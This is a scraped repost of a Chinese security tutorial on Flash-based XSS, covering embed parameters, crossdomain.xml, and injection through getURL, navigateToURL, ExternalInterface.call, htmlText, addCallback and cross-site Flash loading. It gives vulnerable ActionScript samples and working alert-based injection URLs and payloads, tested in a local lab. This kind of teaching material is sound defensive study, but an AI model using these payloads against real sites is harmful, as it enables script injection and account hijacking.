<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/2924

                    0x01 HTML中嵌入FLASH


                    在HTML中嵌入FLASH的時候在IE和非IE瀏覽器下嵌入的方式有所不同,可以使用embed標簽和object標簽,使用如下的代碼進行嵌入:

                    IE下嵌入

                    #!html
                    <object codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
                    <param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
                    <param name="allowScriptAccess" value="always" />
                    <param name="allowNetworking" value="all" />
                    </object>
                    

                    非IE下嵌入

                    #!html
                    <object type="application/x-shockwave-Flash" data="./trace.swf">
                    <param name="movie" value = "./trace.swf" />
                    <param name="allowScriptAccess" value="always" />
                    <param name="allowNetworking" value="all" />
                    </object>
                    

                    在插入Flash的過程中有兩個重要的參數,allowScriptAccess和allowNetworking兩個參數:

                    allowScriptAccess:控制html頁面與Flash頁面的通訊。
                    always:html和Flash頁面的通訊不做任何的限制;
                    samedomain:html和Flash同域的時候可以做通訊【這個值是默認值】;
                    never:html和Flash禁止通訊。
                    
                    allowNetworking:控制Flash與外部的網絡通訊。
                    all:Flash所有的網絡API通訊接口都可用;
                    internal:navigateToURL,fscommand,ExternalInterface.call不可用;
                    none:所有的網絡API不可用。
                    

                    以chrome瀏覽器為例來驗證以上參數,首先在本地搭建環境,并且新建一個Flash文件,Flash文件包括的內容主要是使用ExternalInterface.call執行力一個js語句,彈出當前域的域名。

                    1):插入本地的Flash文件。

                    #!html
                    <object type="application/x-shockwave-Flash" data="./trace.swf">
                    <param name="movie" value = "./trace.swf" />
                    <param name="allowScriptAccess" value="always" />
                    <param name="allowNetworking" value="all" />
                    </object>
                    

                    運行結果:

                    enter image description here

                    2):插入本地的Flash,將allowScriptAccess參數改為samedomain。

                    #!html
                    <object type="application/x-shockwave-Flash" data="./trace.swf">
                    <param name="movie" value = "./trace.swf" />
                    <param name="allowScriptAccess" value="samedomain" />
                    <param name="allowNetworking" value="all" />
                    

                    運行結果:

                    enter image description here

                    Html界面與Flash屬于同域,因此能夠彈出。

                    3):插入本地Flash,將allowScriptAccess改為never。

                    #!html
                    <object type="application/x-shockwave-Flash" data="./trace.swf">
                    <param name="movie" value = "./trace.swf" />
                    <param name="allowScriptAccess" value="never" />
                    <param name="allowNetworking" value="all" />
                    </object>
                    

                    運行結果沒有彈出。

                    4):插入遠程Flash,將allowScriptAccess改為always。

                    #!html
                    <object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
                    <param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
                    <param name="allowScriptAccess" value="always" />
                    <param name="allowNetworking" value="all" />
                    </object>
                    

                    運行結果:

                    enter image description here

                    注意這里彈出的域為當前html的域名,非Flash的域。

                    5):插入遠程Flash,將allowScriptAccess改為samedomain

                    #!html
                    <object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
                    <param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
                    <param name="allowScriptAccess" value="samedomain" />
                    <param name="allowNetworking" value="all" />
                    </object>
                    

                    運行結果沒有彈出,因為Flash的域不和html在同一域內。

                    6):插入遠程Flash,將allowScriptAccess改為never

                    #!html
                    <object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
                    <param name="movie" value = "http://xxxxx.sinaapp.com/trace.swf" />
                    <param name="allowScriptAccess" value="never" />
                    <param name="allowNetworking" value="all" />
                    </object>
                    

                    運行結果沒有彈出,由于禁止了與html界面通訊。

                    7)將allowScriptAccess置為always,將allowNetworking置為internal

                    #!html
                    <object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
                    <param name="movie" value = "http://xxxxx.sinaapp.com/trace.swf" />
                    <param name="allowScriptAccess" value="always" />
                    <param name="allowNetworking" value="internal" />
                    

                    運行結果沒有彈出,allowNetworking的參數置為internal,禁止了接口ExternalInterface.all。

                    0x02 Flash跨域請求


                    Flash跨域訪問的時候主要受到crossdomain.xml文件的影響。crossdomain.xml文件嚴格遵循xml語法,主要作用就是當被Flash請求到本域資源的時候,是否允許請求。 例如: www.evil.com中嵌入一個Flash,Flash跨域請求www.q.com下的資源,此時會先查看www.q.com目錄下的crossdomain.xml文件,查看是否允許evil.com域Flash請求本域的資源。 crossdomain.xml文件主要包含如下幾個節點:

                    site-control,allow-access-from,allow-access-from-identity,allow-http-request-headers-from
                    

                    常用的節點為allow-access-from【可能我見的少= =】,用來指明允許本域資源允許被哪些域名的Flash跨域請求。

                    例如下面為優酷的crossdomain.xml文件:

                    #!html
                    <cross-domain-policy>
                    <allow-access-from domain="*.youku.com"/> //允許youku.com域名的Flash訪問
                    <allow-access-from domain="*.ykimg.com"/>
                    <allow-access-from domain="*.tudou.com"/>
                    <allow-access-from domain="*.tudouui.com"/>
                    <allow-access-from domain="*.tdimg.com"/>
                    </cross-domain-policy>
                    

                    Ps.這個文件常常被用到Flash csrf中,當allow-access-from domain被設置為*后,可能存在Flash csrf的風險。

                    0x03 常見Flash xss分類總結


                    Flash缺陷參數-getURL

                    Flash提供相關的函數,可以執行js代碼,getURL【AS2中支持】,navigateToURL【AS3中支持】,ExternalInterface.call。 在wooyun中搜索到了一個相關實例:

                    WooYun: 久游網FLASH安全問題深入分析與利用(一)

                    本著學習的原則本地搭建實踐了下: 本地新建了個Flash,Flash調用外部資源xml文件。 Flash代碼:

                    #!js
                    var root_xml:XML = new XML();
                    root_xml.ignoreWhite = true;
                    root_xml.onLoad = function(success){
                        if(success){
                            getURL(root_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue)
                        }else{
                            getURL("javascript:alert(‘fail’)")
                        }
                    }
                    root_xml.load(_root.url);
                    

                    xml文件:

                    #!html
                    <?xml version="1.0" encoding="utf-8" ?>
                    <data>
                        <link>javascript:alert('xss')</link>
                    </data>
                    

                    運行結果:

                    enter image description here

                    Ps.此類問題一般可以使用google搜索xml文件被swf調用的情況,傳入的內容如果沒做過濾,很可能出現此類問題。

                    Flash缺陷參數-navigateToURL


                    上例中getURL()為AS2中的方法,在AS3中使用的是navigateToURL,wooyun中上報過此參數導致Flash xss的實例。

                    WooYun: [騰訊實例教程] 那些年我們一起學XSS - 14. Flash Xss入門 [navigateToURL]

                    此類問題原理一般是由于調用了的資源文件(如xml)可被攻擊者控制,導致了Flash xss。

                    本著學習的原則,本地搭建實踐了下: Flash文件:

                    #!as3
                    var url:String = stage.loaderInfo.parameters.url
                    var req:URLRequest = new URLRequest("a.xml");
                    var ld:URLLoader = new URLLoader();
                    ld.addEventListener(Event.COMPLETE ,ok);
                    function ok(evtObj:Event):void {
                        if(ld.data){
                            navigateToURL(new URLRequest(url),'_self')
                        } else {        
                        }
                    }
                    ld.load(req)
                    

                    大致意思就是從外部獲取了一個參數,通過navigateToURL調用。

                    運行結果:

                    enter image description here

                    Flash缺陷參數-ExternalInterface.call(參數一)

                    ExternalInterface.call同樣是一個Flash提供的可以執行js的接口函數, ExternalInterface.call函數有兩個參數,形如ExternalInterface.call("函數名","參數1")。

                    Flash最后執行的JS代碼如下:

                    #!as3
                    try { __Flash__toXML(函數名("參數1")) ; } catch (e) { "<undefined/>"; }
                    

                    此段先考慮參數1,即函數名。

                    Wooyun上相關的實例有:

                    WooYun: [騰訊實例教程] 那些年我們一起學XSS - 15. Flash Xss進階 [ExternalInterface.call第一個參數]

                    WooYun: Flash應用安全系列[1]--360反射型跨站

                    這兩篇都寫的很詳細。

                    本著學習的原則,本地搭建實踐了下: Flash文件:

                    #!as3
                    var a:String = root.loaderInfo.parameters.func
                    if(ExternalInterface.available){
                        ExternalInterface.call(a)
                    } else {
                        trace(100)
                    }
                    stop()
                    

                    從外部獲取參數func,使用ExternalInterface.call接收第一個參數,執行。

                    對比:

                    #!as3
                    try { __Flash__toXML(函數名("參數1")) ; } catch (e) { "<undefined/>"; }
                    

                    創建url:

                    http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//
                    

                    這樣實際執行的js代碼為:

                    #!as3
                    try { __Flash__toXML(alert(1))}catch(e){alert(100)}// ("參數1")) ; } catch (e) { "<undefined/>"; }
                    
                    http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//
                    
                    try { __Flash__toXML(a1lert(1))}catch(e){alert(100)}// ("參數1")) ; } catch (e) { "<undefined/>"; }
                    

                    預期結果應該是第一個url執行之后彈出數字1,第二個url執行之后彈出數字100。 訪問

                    http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//
                    

                    enter image description here

                    訪問

                    http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//
                    

                    enter image description here

                    和預期結果一樣。

                    Flash缺陷參數-ExternalInterface.call(參數二)

                    有時候當反編譯swf之后,會發現可控的參數的輸出位置在ExternalInterface.call函數的第二個參數,方法和思路與第一個參數的時候類似。

                    Wooyun里面相關的例子:

                    WooYun: [騰訊實例教程] 那些年我們一起學XSS - 16. Flash Xss進階 [ExternalInterface.call第二個參數]

                    WooYun: Flash應用安全系列[3]--WordPress反射型跨站(0day)

                    Flash文件:

                    #!as3
                    var a:String = root.loaderInfo.parameters.par
                    if(ExternalInterface.available){
                        ExternalInterface.call("alert",a)
                    } else {
                        trace(100)
                    }
                    stop()
                    

                    Flash文件中的a是從外部獲取的參數,此處外部獲取的參數par賦值給了a,作為輸出點輸出到了ExternalInterface的第二個參數的位置,此處相對于第一個參數的不同之處是,此處的輸出點在引號中,因此此處我們需要把引號閉合掉。根據上面兩邊文章,可以發現閉合引號使用的方法是\”這樣會被轉義為\”,”就被吃掉了。

                    根據ExternalInterface.call的調用原型:

                    #!as3
                    try { __Flash__toXML(函數名("參數1")) ; } catch (e) { "<undefined/>"; }
                    

                    我們將參數輸入如下的url:

                    http://192.168.4.70/ExternalInterface_second.swf?par=1111\%22),al)}catch(e){alert(1000)}//
                    

                    分析應該執行如下:

                    #!as3
                    try{
                      __Flash__toXML(alert(“1111\\”),al
                    }
                    catch(e){
                      alert(1000)
                    }
                    

                    如此下來應該就會彈出兩個框,一個為1111\,另外一個為1000。 運行結果,彈出1111\:

                    enter image description here

                    點擊確定,彈出1000:

                    enter image description here

                    Ps. 此處ExternalInterface.call調用的函數名,編寫Flash的時候設置了alert,因此此處會彈兩次,一般情況下,函數名是不能夠被控制,這樣我們使得,前面的函數執行異常,執行catch中的js即可。

                    Flash缺陷參數-htmlText

                    Flash支持在Flash里內嵌html,支持的標簽img標簽,a標簽等。 img標簽可以通過src參數引入一個Flash文件,類似與XSF一樣。

                    WooYun: Flash應用安全系列[6]--新浪微博蠕蟲威脅

                    文檔寫的很詳細,推薦閱讀。 本著學習的原則,本地創建了Flash文件,

                    #!as3
                    import fl.controls.TextArea;
                    var a:String = root.loaderInfo.parameters.url
                    var t:TextArea = new TextArea()
                    t.width = 500
                    t.height = 300
                    t.htmlText += a
                    addChild(t)
                    

                    從獲取URL中的參數url,賦值給a,變量a直接輸出到了Textarea t中。 訪問如下url:

                    http://192.168.4.70/htmltext.swf?url=%3Cimg%20src=%27./trace.swf%27%3E
                    

                    訪問結果如下:

                    enter image description here

                    Ps.當反編譯Flash文件,發現htmltext輸出點的時候,可以查看相關是否存在相關的可控的輸入,可能存在xss。 Flash缺陷參數object的id可控 html與swf通訊的時候,使用的是ExternalInterface.addCallback函數,調用如下:

                    #!as3
                    function a(){
                      trace(“hi”);
                    }
                    ExternalInterface.addCallback(“test”,a);
                    

                    執行了函數之后,在html上可以通過使用函數名test來調用Flash中的函數a。

                    addCallback的原理:

                    #!as3
                    if ((((activeX == true)) && (!((objectID == null))))){
                    
                        _evalJS((((("__Flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));
                    
                    };
                    

                    objectID為Flash的id,functionName為函數名稱,因此當我們插入的Flash的id可控的時候,可能會出現xss問題。

                    Wooyun上已經出現的類似問題:

                    WooYun: [騰訊實例教程] 那些年我們一起學XSS - 21. 存儲型XSS進階 [猜測規則,利用Flash addCallback構造XSS]

                    WooYun: Flash應用安全系列[4]--Flash Player的又一個0day

                    WooYun: QQ空間某功能缺陷導致日志存儲型XSS - 12

                    本著學習的原則,本地創建了Flash文件,

                    #!as3
                    function a(){
                        trace("hi")
                    }
                    ExternalInterface.addCallback("test",a)
                    

                    x.html頁面

                    #!html
                    <object id="addcallback,&quot;),(function(){if(!window.x){window.x=1;alert(1)}})(),(&quot;" codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
                    <param name="movie" value = "./addCallback.swf" />
                    <param name="allowScriptAccess" value="always" />
                    <param name="allowNetworking" value="all" />
                    </object>
                    

                    訪問該界面(IE8下測試):

                    enter image description here

                    Flash缺陷參數addcallback與lso結合

                    這個問題出現的點在addCallback聲明的函數,在被html界面js執行之后的返回值攻擊者可控,導致了xss問題。使用lso中首先會setlso,寫入臟數據,然后getlso獲取臟數據。

                    Wooyun實例鏈接:

                    WooYun: 一個flash的0day導致的淘寶網存儲xss(可形成永久后門)

                    WooYun: 一個flash的0day導致的淘寶網存儲xss 【續集】

                    WooYun: 一個可大規模悄無聲息竊取淘寶/支付寶賬號與密碼的漏洞 -(埋雷式攻擊附帶視頻演示)

                    WooYun: 我是如何實現批量種植rootkit竊取阿里云賬號密碼的

                    drops下相關資料:

                    一個可大規模悄無聲息竊取淘寶/支付寶賬號與密碼的漏洞 -(埋雷式攻擊附帶視頻演示)

                    本著學習的原則,本地創建了Flash文件,

                    #!as3
                    function setlso(_arg1:String):Boolean{
                        var _local2:SharedObject = SharedObject.getLocal("kj");
                        _local2.data.key = _arg1;
                        _local2.flush();
                        return (true);
                    }
                    
                    function getlso():String{
                        var _local1:SharedObject = SharedObject.getLocal("kj");
                        if(_local1.data.key == undefined){
                            return ("");
                        }
                        return (_local1.data.key);
                    }
                    ExternalInterface.addCallback("getlso",getlso)
                    ExternalInterface.addCallback("setlso",setlso)
                    

                    x.html

                    #!html
                    <html>
                    <head></head>
                    <body>
                    <object id="lso" type="application/x-shockwave-Flash" data="http://192.168.4.70/addCallback_lso.swf">
                    <param name="movie" value = "http://192.168.4.70/addCallback_lso.swf" />
                    <param name="allowScriptAccess" value="always" />
                    <param name="allowNetworking" value="all" />
                    </object>
                    <script>
                    function set(){
                        document["lso"].setlso('aa\\";alert(document.domain);//aa');
                    }
                    function get(){
                        document["lso"].getlso();
                    }
                    
                    setTimeout("get()",5000)
                    setTimeout("get()",7000)
                    </script>
                    </body>
                    </html>
                    

                    運行結果:

                    enter image description here

                    跨站Flash

                    跨站Flash即XSF,通過AS加載第三方的Flash文件,如果這個第三方Flash可以被控制,就可以實現XSF。 在AS2中使用loadMove函數等加載第三方Flash。

                    #!as3
                    _root.loadMovie(swf);
                    

                    在AS3中使用Loader類進行外部數據處理:

                    #!as3
                    var param:Object = root.loaderInfo.parameters;
                    var swf:String = param[“swf”];
                    var myLoader:Loader = new Loader();
                    var url:URLRequest = new URLRequest(swf);
                    myLoader.load(url);
                    addChild(myLoader);
                    

                    wooyun上實例:

                    WooYun: sina微薄存儲型跨站

                    WooYun: sina微博存儲型跨站Ⅱ

                    WooYun: sina微博存儲型跨站Ⅲ

                    WooYun: 百度貼吧存儲型XSS - Flash又中槍了~~

                    本地搭建環境,新建Flash:

                    #!as3
                    var param:Object = root.loaderInfo.parameters;
                    var swf:String = param["swf"];
                    var myLoader:Loader = new Loader();
                    var url:URLRequest = new URLRequest(swf);
                    myLoader.load(url);
                    addChild(myLoader);
                    

                    新建本地html文件:

                    #!html
                    <object id="lso" type="application/x-shockwave-Flash" data="http://192.168.4.70/xsf.swf">
                    <param name="movie" value = "http://192.168.4.70/xsf.swf" />
                    <param name="allowScriptAccess" value="always" />
                    <param name="allowNetworking" value="all" />
                    <param name="Flashvars" value="swf=http://xxxxx.sinaapp.com/trace.swf"
                    </object>
                    

                    運行結果,加載了遠程有缺陷的swf文件導致了xsf。

                    enter image description here

                    其他

                    1:addCallback返回值從其他地方獲取。

                    WooYun: QQ空間某功能缺陷導致日志存儲型XSS - 14

                    2:利用上傳文件如xx.swf修改為xx.jpg獲得上傳目標域下的swf。

                    WooYun: Flash應用安全系列[5]--QQ郵箱永久劫持漏洞

                    WooYun: 騰訊某分站可上傳任意swf文件導致的一系列問題(附簡單POC)

                    drops相關鏈接:

                    上傳文件的陷阱

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频